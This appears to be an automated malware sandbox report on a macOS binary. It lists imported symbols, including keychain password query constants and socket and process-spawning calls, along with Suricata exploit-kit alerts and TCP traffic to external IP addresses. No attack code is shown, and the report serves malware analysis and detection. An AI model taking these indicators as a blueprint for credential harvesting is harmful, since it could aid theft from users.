__dyld_get_image_vmaddr_slide	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2D0	/usr/lib/libSystem.B.dylib
__dyld_image_count	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2D8	/usr/lib/libSystem.B.dylib
__exit	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2E0	/usr/lib/libSystem.B.dylib
__tlv_atexit	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2E8	/usr/lib/libSystem.B.dylib
_abort	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2F0	/usr/lib/libSystem.B.dylib
_atoi	UNDEFINED	LC_SYMTAB	__DATA	0x10023C2F8	/usr/lib/libSystem.B.dylib
_bind	UNDEFINED	LC_SYMTAB	__DATA	0x10023C300	/usr/lib/libSystem.B.dylib
_bzero	UNDEFINED	LC_SYMTAB	__DATA	0x10023C308	/usr/lib/libSystem.B.dylib
_calloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C310	/usr/lib/libSystem.B.dylib
_chdir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C318	/usr/lib/libSystem.B.dylib
_chmod	UNDEFINED	LC_SYMTAB	__DATA	0x10023C320	/usr/lib/libSystem.B.dylib
_chroot	UNDEFINED	LC_SYMTAB	__DATA	0x10023C328	/usr/lib/libSystem.B.dylib
_class_getName	UNDEFINED	LC_SYMTAB	__DATA	0x10023C330	/usr/lib/libobjc.A.dylib
_class_isMetaClass	UNDEFINED	LC_SYMTAB	__DATA	0x10023C338	/usr/lib/libobjc.A.dylib
_clock_gettime	UNDEFINED	LC_SYMTAB	__DATA	0x10023C340	/usr/lib/libSystem.B.dylib
_close	UNDEFINED	LC_SYMTAB	__DATA	0x10023C348	/usr/lib/libSystem.B.dylib
_closedir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C350	/usr/lib/libSystem.B.dylib
_confstr	UNDEFINED	LC_SYMTAB	__DATA	0x10023C358	/usr/lib/libSystem.B.dylib
_connect	UNDEFINED	LC_SYMTAB	__DATA	0x10023C360	/usr/lib/libSystem.B.dylib
_copyfile_state_alloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C368	/usr/lib/libSystem.B.dylib
_copyfile_state_free	UNDEFINED	LC_SYMTAB	__DATA	0x10023C370	/usr/lib/libSystem.B.dylib
_copyfile_state_get	UNDEFINED	LC_SYMTAB	__DATA	0x10023C378	/usr/lib/libSystem.B.dylib
_dirfd	UNDEFINED	LC_SYMTAB	__DATA	0x10023C380	/usr/lib/libSystem.B.dylib
_dispatch_async_f	UNDEFINED	LC_SYMTAB	__DATA	0x10023C388	/usr/lib/libSystem.B.dylib
_dispatch_release	UNDEFINED	LC_SYMTAB	__DATA	0x10023C390	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_create	UNDEFINED	LC_SYMTAB	__DATA	0x10023C398	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_signal	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3A0	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_wait	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3A8	/usr/lib/libSystem.B.dylib
_dispatch_time	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3B0	/usr/lib/libSystem.B.dylib
_dlclose	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3B8	/usr/lib/libSystem.B.dylib
_dlerror	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3C0	/usr/lib/libSystem.B.dylib
_dlopen	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3C8	/usr/lib/libSystem.B.dylib
_dlsym	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3D0	/usr/lib/libSystem.B.dylib
_dup	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3D8	/usr/lib/libSystem.B.dylib
_dup2	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3E0	/usr/lib/libSystem.B.dylib
_execvp	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3E8	/usr/lib/libSystem.B.dylib
_fchmod	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3F0	/usr/lib/libSystem.B.dylib
_fclonefileat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C3F8	/usr/lib/libSystem.B.dylib
_fcntl	UNDEFINED	LC_SYMTAB	__DATA	0x10023C400	/usr/lib/libSystem.B.dylib
_fcopyfile	UNDEFINED	LC_SYMTAB	__DATA	0x10023C408	/usr/lib/libSystem.B.dylib
_fdopendir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C410	/usr/lib/libSystem.B.dylib
_flock	UNDEFINED	LC_SYMTAB	__DATA	0x10023C418	/usr/lib/libSystem.B.dylib
_fork	UNDEFINED	LC_SYMTAB	__DATA	0x10023C420	/usr/lib/libSystem.B.dylib
_fprintf	UNDEFINED	LC_SYMTAB	__DATA	0x10023C428	/usr/lib/libSystem.B.dylib
_free	UNDEFINED	LC_SYMTAB	__DATA	0x10023C430	/usr/lib/libSystem.B.dylib
_freeaddrinfo	UNDEFINED	LC_SYMTAB	__DATA	0x10023C438	/usr/lib/libSystem.B.dylib
_fsctl	UNDEFINED	LC_SYMTAB	__DATA	0x10023C440	/usr/lib/libSystem.B.dylib
_fstat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C448	/usr/lib/libSystem.B.dylib
_fstatfs	UNDEFINED	LC_SYMTAB	__DATA	0x10023C450	/usr/lib/libSystem.B.dylib
_fsync	UNDEFINED	LC_SYMTAB	__DATA	0x10023C458	/usr/lib/libSystem.B.dylib
_futimes	UNDEFINED	LC_SYMTAB	__DATA	0x10023C460	/usr/lib/libSystem.B.dylib
_gai_strerror	UNDEFINED	LC_SYMTAB	__DATA	0x10023C468	/usr/lib/libSystem.B.dylib
_getaddrinfo	UNDEFINED	LC_SYMTAB	__DATA	0x10023C470	/usr/lib/libSystem.B.dylib
_getcwd	UNDEFINED	LC_SYMTAB	__DATA	0x10023C478	/usr/lib/libSystem.B.dylib
_getentropy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C480	/usr/lib/libSystem.B.dylib
_getenv	UNDEFINED	LC_SYMTAB	__DATA	0x10023C488	/usr/lib/libSystem.B.dylib
_gethostuuid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C490	/usr/lib/libSystem.B.dylib
_getpeername	UNDEFINED	LC_SYMTAB	__DATA	0x10023C498	/usr/lib/libSystem.B.dylib
_getpid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4A0	/usr/lib/libSystem.B.dylib
_getsockname	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4A8	/usr/lib/libSystem.B.dylib
_getsockopt	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4B0	/usr/lib/libSystem.B.dylib
_gettimeofday	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4B8	/usr/lib/libSystem.B.dylib
_if_nametoindex	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4C0	/usr/lib/libSystem.B.dylib
_ioctl	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4C8	/usr/lib/libSystem.B.dylib
_kCFAllocatorDefault	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228060	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFBooleanFalse	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228068	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFBooleanTrue	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228070	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFErrorDomainOSStatus	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228078	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeArrayCallBacks	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228080	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeDictionaryKeyCallBacks	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228088	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeDictionaryValueCallBacks	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228090	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kSCDynamicStoreUseSessionKeys	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228098	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPEnable	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280A0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPPort	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280A8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPProxy	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280B0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSEnable	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280B8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSPort	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280C0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSProxy	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x1002280C8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSecClass	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228028	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecClassInternetPassword	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228030	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchLimit	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228038	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchLimitAll	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228040	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchSearchList	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228048	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecReturnAttributes	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228050	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecReturnData	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228058	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kevent	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4D0	/usr/lib/libSystem.B.dylib
_kqueue	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4D8	/usr/lib/libSystem.B.dylib
_localtime_r	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4E0	/usr/lib/libSystem.B.dylib
_log	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4E8	/usr/lib/libSystem.B.dylib
_lseek	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4F0	/usr/lib/libSystem.B.dylib
_lstat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C4F8	/usr/lib/libSystem.B.dylib
_malloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C500	/usr/lib/libSystem.B.dylib
_malloc_create_zone	UNDEFINED	LC_SYMTAB	__DATA	0x10023C508	/usr/lib/libSystem.B.dylib
_malloc_default_zone	UNDEFINED	LC_SYMTAB	__DATA	0x10023C510	/usr/lib/libSystem.B.dylib
_malloc_set_zone_name	UNDEFINED	LC_SYMTAB	__DATA	0x10023C518	/usr/lib/libSystem.B.dylib
_malloc_size	UNDEFINED	LC_SYMTAB	__DATA	0x10023C520	/usr/lib/libSystem.B.dylib
_malloc_zone_free	UNDEFINED	LC_SYMTAB	__DATA	0x10023C528	/usr/lib/libSystem.B.dylib
_malloc_zone_malloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C530	/usr/lib/libSystem.B.dylib
_malloc_zone_realloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C538	/usr/lib/libSystem.B.dylib
_memchr	UNDEFINED	LC_SYMTAB	__DATA	0x10023C540	/usr/lib/libSystem.B.dylib
_memcmp	UNDEFINED	LC_SYMTAB	__DATA	0x10023C548	/usr/lib/libSystem.B.dylib
_memcpy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C550	/usr/lib/libSystem.B.dylib
_memmove	UNDEFINED	LC_SYMTAB	__DATA	0x10023C558	/usr/lib/libSystem.B.dylib
_memset	UNDEFINED	LC_SYMTAB	__DATA	0x10023C560	/usr/lib/libSystem.B.dylib
_mkdir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C568	/usr/lib/libSystem.B.dylib
_mmap	UNDEFINED	LC_SYMTAB	__DATA	0x10023C570	/usr/lib/libSystem.B.dylib
_mprotect	UNDEFINED	LC_SYMTAB	__DATA	0x10023C578	/usr/lib/libSystem.B.dylib
_munmap	UNDEFINED	LC_SYMTAB	__DATA	0x10023C580	/usr/lib/libSystem.B.dylib
_nanosleep	UNDEFINED	LC_SYMTAB	__DATA	0x10023C588	/usr/lib/libSystem.B.dylib
_objc_alloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C590	/usr/lib/libobjc.A.dylib
_objc_autoreleasePoolPop	UNDEFINED	LC_SYMTAB	__DATA	0x10023C598	/usr/lib/libobjc.A.dylib
_objc_autoreleasePoolPush	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5A0	/usr/lib/libobjc.A.dylib
_objc_getClass	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5A8	/usr/lib/libobjc.A.dylib
_objc_msgSend	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5B0	/usr/lib/libobjc.A.dylib
_objc_release	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5B8	/usr/lib/libobjc.A.dylib
_objc_retainAutoreleasedReturnValue	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5C0	/usr/lib/libobjc.A.dylib
_object_getClass	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5C8	/usr/lib/libobjc.A.dylib
_open	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5D0	/usr/lib/libSystem.B.dylib
_openat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5D8	/usr/lib/libSystem.B.dylib
_opendir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5E0	/usr/lib/libSystem.B.dylib
_pause	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5E8	/usr/lib/libSystem.B.dylib
_pipe	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5F0	/usr/lib/libSystem.B.dylib
_poll	UNDEFINED	LC_SYMTAB	__DATA	0x10023C5F8	/usr/lib/libSystem.B.dylib
_posix_memalign	UNDEFINED	LC_SYMTAB	__DATA	0x10023C600	/usr/lib/libSystem.B.dylib
_posix_spawn_file_actions_adddup2	UNDEFINED	LC_SYMTAB	__DATA	0x10023C608	/usr/lib/libSystem.B.dylib
_posix_spawn_file_actions_init	UNDEFINED	LC_SYMTAB	__DATA	0x10023C618	/usr/lib/libSystem.B.dylib
_posix_spawnattr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C620	/usr/lib/libSystem.B.dylib
_posix_spawnattr_init	UNDEFINED	LC_SYMTAB	__DATA	0x10023C628	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setflags	UNDEFINED	LC_SYMTAB	__DATA	0x10023C630	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setpgroup	UNDEFINED	LC_SYMTAB	__DATA	0x10023C638	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setsigdefault	UNDEFINED	LC_SYMTAB	__DATA	0x10023C640	/usr/lib/libSystem.B.dylib
_posix_spawnp	UNDEFINED	LC_SYMTAB	__DATA	0x10023C648	/usr/lib/libSystem.B.dylib
_pthread_atfork	UNDEFINED	LC_SYMTAB	__DATA	0x10023C650	/usr/lib/libSystem.B.dylib
_pthread_attr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C658	/usr/lib/libSystem.B.dylib
_pthread_attr_init	UNDEFINED	LC_SYMTAB	__DATA	0x10023C660	/usr/lib/libSystem.B.dylib
_pthread_attr_setstacksize	UNDEFINED	LC_SYMTAB	__DATA	0x10023C668	/usr/lib/libSystem.B.dylib
_pthread_cond_broadcast	UNDEFINED	LC_SYMTAB	__DATA	0x10023C670	/usr/lib/libSystem.B.dylib
_pthread_cond_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C678	/usr/lib/libSystem.B.dylib
_pthread_cond_signal	UNDEFINED	LC_SYMTAB	__DATA	0x10023C680	/usr/lib/libSystem.B.dylib
_pthread_cond_timedwait_relative_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C688	/usr/lib/libSystem.B.dylib
_pthread_cond_wait	UNDEFINED	LC_SYMTAB	__DATA	0x10023C690	/usr/lib/libSystem.B.dylib
_pthread_create	UNDEFINED	LC_SYMTAB	__DATA	0x10023C698	/usr/lib/libSystem.B.dylib
_pthread_detach	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6A0	/usr/lib/libSystem.B.dylib
_pthread_get_stackaddr_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6A8	/usr/lib/libSystem.B.dylib
_pthread_get_stacksize_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6B0	/usr/lib/libSystem.B.dylib
_pthread_join	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6B8	/usr/lib/libSystem.B.dylib
_pthread_main_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6C0	/usr/lib/libSystem.B.dylib
_pthread_mutex_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6C8	/usr/lib/libSystem.B.dylib
_pthread_mutex_init	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6D0	/usr/lib/libSystem.B.dylib
_pthread_mutex_lock	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6D8	/usr/lib/libSystem.B.dylib
_pthread_mutex_trylock	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6E0	/usr/lib/libSystem.B.dylib
_pthread_mutex_unlock	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6E8	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6F0	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_init	UNDEFINED	LC_SYMTAB	__DATA	0x10023C6F8	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_settype	UNDEFINED	LC_SYMTAB	__DATA	0x10023C700	/usr/lib/libSystem.B.dylib
_pthread_self	UNDEFINED	LC_SYMTAB	__DATA	0x10023C708	/usr/lib/libSystem.B.dylib
_pthread_setname_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C710	/usr/lib/libSystem.B.dylib
_pthread_threadid_np	UNDEFINED	LC_SYMTAB	__DATA	0x10023C718	/usr/lib/libSystem.B.dylib
_qsort	UNDEFINED	LC_SYMTAB	__DATA	0x10023C720	/usr/lib/libSystem.B.dylib
_random	UNDEFINED	LC_SYMTAB	__DATA	0x10023C728	/usr/lib/libSystem.B.dylib
_read	UNDEFINED	LC_SYMTAB	__DATA	0x10023C730	/usr/lib/libSystem.B.dylib
_readdir_r	UNDEFINED	LC_SYMTAB	__DATA	0x10023C738	/usr/lib/libSystem.B.dylib
_realloc	UNDEFINED	LC_SYMTAB	__DATA	0x10023C740	/usr/lib/libSystem.B.dylib
_recv	UNDEFINED	LC_SYMTAB	__DATA	0x10023C748	/usr/lib/libSystem.B.dylib
_rename	UNDEFINED	LC_SYMTAB	__DATA	0x10023C750	/usr/lib/libSystem.B.dylib
_rmdir	UNDEFINED	LC_SYMTAB	__DATA	0x10023C758	/usr/lib/libSystem.B.dylib
_sched_yield	UNDEFINED	LC_SYMTAB	__DATA	0x10023C760	/usr/lib/libSystem.B.dylib
_sel_getName	UNDEFINED	LC_SYMTAB	__DATA	0x10023C768	/usr/lib/libobjc.A.dylib
_sel_registerName	UNDEFINED	LC_SYMTAB	__DATA	0x10023C770	/usr/lib/libobjc.A.dylib
_send	UNDEFINED	LC_SYMTAB	__DATA	0x10023C778	/usr/lib/libSystem.B.dylib
_setgid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C780	/usr/lib/libSystem.B.dylib
_setgroups	UNDEFINED	LC_SYMTAB	__DATA	0x10023C788	/usr/lib/libSystem.B.dylib
_setpgid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C790	/usr/lib/libSystem.B.dylib
_setsid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C798	/usr/lib/libSystem.B.dylib
_setsockopt	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7A0	/usr/lib/libSystem.B.dylib
_setuid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7A8	/usr/lib/libSystem.B.dylib
_shutdown	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7B0	/usr/lib/libSystem.B.dylib
_sigaction	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7B8	/usr/lib/libSystem.B.dylib
_sigaddset	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7C0	/usr/lib/libSystem.B.dylib
_sigaltstack	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7C8	/usr/lib/libSystem.B.dylib
_sigemptyset	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7D0	/usr/lib/libSystem.B.dylib
_signal	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7D8	/usr/lib/libSystem.B.dylib
_socket	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7E0	/usr/lib/libSystem.B.dylib
_srandomdev	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7E8	/usr/lib/libSystem.B.dylib
_stat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7F0	/usr/lib/libSystem.B.dylib
_statfs	UNDEFINED	LC_SYMTAB	__DATA	0x10023C7F8	/usr/lib/libSystem.B.dylib
_strcmp	UNDEFINED	LC_SYMTAB	__DATA	0x10023C800	/usr/lib/libSystem.B.dylib
_strcspn	UNDEFINED	LC_SYMTAB	__DATA	0x10023C808	/usr/lib/libSystem.B.dylib
_strerror_r	UNDEFINED	LC_SYMTAB	__DATA	0x10023C810	/usr/lib/libSystem.B.dylib
_strlen	UNDEFINED	LC_SYMTAB	__DATA	0x10023C818	/usr/lib/libSystem.B.dylib
_strncmp	UNDEFINED	LC_SYMTAB	__DATA	0x10023C820	/usr/lib/libSystem.B.dylib
_strrchr	UNDEFINED	LC_SYMTAB	__DATA	0x10023C828	/usr/lib/libSystem.B.dylib
_strspn	UNDEFINED	LC_SYMTAB	__DATA	0x10023C830	/usr/lib/libSystem.B.dylib
_sysconf	UNDEFINED	LC_SYMTAB	__DATA	0x10023C838	/usr/lib/libSystem.B.dylib
_sysctlbyname	UNDEFINED	LC_SYMTAB	__DATA	0x10023C840	/usr/lib/libSystem.B.dylib
_time	UNDEFINED	LC_SYMTAB	__DATA	0x10023C848	/usr/lib/libSystem.B.dylib
_unlink	UNDEFINED	LC_SYMTAB	__DATA	0x10023C850	/usr/lib/libSystem.B.dylib
_unlinkat	UNDEFINED	LC_SYMTAB	__DATA	0x10023C858	/usr/lib/libSystem.B.dylib
_utimes	UNDEFINED	LC_SYMTAB	__DATA	0x10023C860	/usr/lib/libSystem.B.dylib
_waitpid	UNDEFINED	LC_SYMTAB	__DATA	0x10023C868	/usr/lib/libSystem.B.dylib
_write	UNDEFINED	LC_SYMTAB	__DATA	0x10023C870	/usr/lib/libSystem.B.dylib
_writev	UNDEFINED	LC_SYMTAB	__DATA	0x10023C878	/usr/lib/libSystem.B.dylib
dyld_stub_binder	UNDEFINED	LC_SYMTAB	__DATA_CONST	0x100228020	/usr/lib/libSystem.B.dylib

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2026-08-13T15:56:24.863312+0200	2022112	ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015	1	192.168.0.58	49167	138.124.70.84	443	TCP
2026-08-13T15:57:24.994575+0200	2022112	ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015	1	192.168.0.58	49168	138.124.70.84	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2026 15:55:20.933948994 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:20.933981895 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:20.934214115 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:20.934567928 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:20.934576035 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:20.995598078 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:20.995949984 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:20.995949984 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.006134987 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.006134987 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.006134987 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.006151915 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.006159067 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.006167889 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.006840944 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.007049084 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.007143974 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.030980110 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.031063080 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.031136036 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.031203032 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.031338930 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.046544075 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.046587944 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.046869040 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.046969891 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.046979904 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.085972071 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.086321115 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.086321115 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.090029001 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.090029001 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.090029001 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.090049028 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.090059996 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.090066910 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.090666056 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.090825081 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.090995073 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.133380890 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.172471046 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.172765017 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.172960043 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.173198938 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.173461914 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.173721075 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.174056053 CEST	443	49161	188.114.97.3	192.168.0.58
Aug 13, 2026 15:55:21.174324036 CEST	49161	443	192.168.0.58	188.114.97.3
Aug 13, 2026 15:55:21.174622059 CEST	443	49162	188.114.96.3	192.168.0.58
Aug 13, 2026 15:55:21.174870014 CEST	49162	443	192.168.0.58	188.114.96.3
Aug 13, 2026 15:55:21.191482067 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.191525936 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.191773891 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.191874027 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.191889048 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.241106033 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.241507053 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.241507053 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.247129917 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.247129917 CEST	49163	443	192.168.0.58	104.26.12.205
